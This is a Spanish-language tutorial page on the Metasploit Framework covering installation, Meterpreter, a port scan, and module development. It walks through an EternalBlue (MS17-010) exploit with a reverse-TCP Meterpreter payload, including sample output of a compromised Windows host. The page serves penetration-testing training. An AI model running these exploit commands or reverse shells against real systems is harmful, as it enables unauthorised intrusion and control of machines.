[[hack_roadmap-0|Up]] ====== Metasploit Framework ====== El Metasploit Framework es una herramienta potente y ampliamente utilizada en el ámbito de la seguridad informática y el hacking ético. Desarrollado originalmente por H.D. Moore en 2003, Metasploit proporciona un entorno de desarrollo modular que permite a los profesionales de la seguridad desarrollar, probar y ejecutar exploits contra sistemas vulnerables. Su versatilidad y extensibilidad lo han convertido en un estándar en las pruebas de penetración y auditorías de seguridad. ===== Introducción al Metasploit Framework ===== ==== Conceptos Clave: ==== * **Exploits:** Programas que aprovechan vulnerabilidades en el software. * **Payloads:** Código que se ejecuta en el sistema objetivo tras la explotación. * **Encoders:** Codifican payloads para evitar detección por sistemas de seguridad. * **Auxiliary Modules:** Herramientas adicionales que no son exploits (escáneres, sniffers). * **Post-Exploitation Modules:** Herramientas para operar en el sistema comprometido. ==== Recursos: ==== * [[https://github.com/rapid7/metasploit-framework|Metasploit Framework - GitHub]] * [[https://www.offensive-security.com/metasploit-unleashed/|Metasploit Unleashed - Offensive Security]] ===== Instalación de Metasploit Framework ===== ==== Requisitos: ==== * **Sistema Operativo:** Linux (Kali Linux es recomendado), Windows, macOS. * **Dependencias:** Ruby, PostgreSQL. ==== Instalación en Kali Linux: ==== Metasploit viene preinstalado en Kali Linux, pero puede actualizarse o instalarse si es necesario. sudo apt update sudo apt install metasploit-framework ==== Instalación en Ubuntu: ==== # Actualizar y instalar dependencias sudo apt update sudo apt install -y curl gpg # Añadir el repositorio de Metasploit curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/debian/repo/metasploit-framework.gpg.key | sudo apt-key add - echo "deb http://downloads.metasploit.com/data/releases/metasploit-framework/apt lucid main" | sudo tee /etc/apt/sources.list.d/metasploit-framework.list # Instalar Metasploit sudo apt update sudo apt install metasploit-framework ==== Recursos: ==== * [[https://docs.rapid7.com/metasploit/|Metasploit Installation - Rapid7 Documentation]] ===== Componentes Principales de Metasploit Framework ===== ==== msfconsole: ==== La interfaz principal de línea de comandos de Metasploit. Permite interactuar con el framework y ejecutar módulos. # Iniciar msfconsole sudo msfconsole ==== Modules: ==== * **Exploits:** Aprovechan vulnerabilidades en software específico. * **Payloads:** Código que se ejecuta tras la explotación. * **Encoders:** Codifican payloads para evitar detección. * **Nops:** No-Operation instructions, utilizadas para asegurar que los payloads funcionen correctamente. * **Auxiliary Modules:** Incluyen escáneres, sniffers y herramientas de ataque adicionales. * **Post-Exploitation Modules:** Herramientas para operar en un sistema comprometido (e.g., recolectar información, moverse lateralmente). ==== Meterpreter: ==== Un payload avanzado que proporciona una interfaz interactiva para el sistema comprometido. Permite ejecutar comandos, transferir archivos y más. meterpreter > sysinfo Computer: victim OS : Windows 10 (Build 18362). meterpreter > shell Process 1 created. Channel 1 created. Microsoft Windows [Version 10.0.18362.1016] C:\Windows\system32> ==== Database: ==== Metasploit utiliza PostgreSQL para almacenar datos sobre hosts, servicios, vulnerabilidades, etc. # Iniciar el servicio de PostgreSQL sudo service postgresql start # Configurar Metasploit para usar la base de datos msfdb init ==== Recursos: ==== * [[https://docs.rapid7.com/metasploit/metasploit-module-library/|Metasploit Module Library - Rapid7]] * [[https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/|Meterpreter Basics - Offensive Security]] ===== Uso Básico de Metasploit ===== ==== Ejemplo de Escaneo de Puertos con un Módulo Auxiliary: ==== msf > use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > set RHOSTS 192.168.1.0/24 msf auxiliary(tcp) > set PORTS 80,443,22 msf auxiliary(tcp) > run ==== Ejemplo de Ejecución de un Exploit: ==== * **Seleccionar y Configurar el Exploit:** msf > use exploit/windows/smb/ms17_010_eternalblue msf exploit(ms17_010_eternalblue) > set RHOST 192.168.1.105 msf exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf exploit(ms17_010_eternalblue) > set LHOST 192.168.1.100 msf exploit(ms17_010_eternalblue) > run * **Obtener una Sesión Meterpreter:** [*] Started reverse TCP handler on 192.168.1.100:4444 [*] 192.168.1.105:445 - Connecting to target for exploitation. [*] 192.168.1.105:445 - Connection established for exploitation. ... meterpreter > sysinfo Computer : VICTIM-PC OS : Windows 7 (Build 7601, Service Pack 1). Architecture : x64 System Language : en_US ==== Recursos: ==== * [[https://docs.rapid7.com/metasploit/metasploit-basics/|Metasploit Basics - Rapid7 Documentation]] * [[https://www.offensive-security.com/metasploit-unleashed/exploitation/|Metasploit Unleashed - Exploitation]] ===== Desarrollo y Personalización de Módulos en Metasploit ===== Metasploit permite a los usuarios crear y personalizar sus propios módulos, lo cual es útil para pruebas de penetración avanzadas y para adaptar la herramienta a necesidades específicas. ==== Ejemplo de un Módulo Básico: ==== require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Example Exploit', 'Description' => %q{ This module is an example exploit. }, 'Author' => [ 'Your Name' ], 'License' => MSF_LICENSE, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00" }, 'Platform' => 'win', 'Targets' => [ [ 'Windows', { 'Ret' => 0x41414141 } ], ], 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(1234) ]) end def exploit connect print_status("Sending payload...") sock.put(payload.encoded) disconnect end end ==== Recursos: ==== * [[https://www.offensive-security.com/metasploit-unleashed/module-development/|Developing Custom Metasploit Modules - Offensive Security]] * [[https://docs.rapid7.com/metasploit/developing-modules/|Metasploit Module Development - Rapid7 Documentation]] ===== Conclusión ===== El Metasploit Framework es una herramienta esencial para los profesionales de la seguridad y los pentesters. Su capacidad para desarrollar, probar y ejecutar exploits de manera modular y su extensibilidad lo convierten en una plataforma poderosa para realizar auditorías de seguridad y pruebas de penetración. Con un conocimiento profundo de sus componentes y funcionalidades, los usuarios pueden maximizar su eficacia en la identificación y explotación de vulnerabilidades en diversos sistemas. ===== Recursos Adicionales ===== * [[https://www.offensive-security.com/metasploit-unleashed/|Metasploit Unleashed]] (Offensive Security)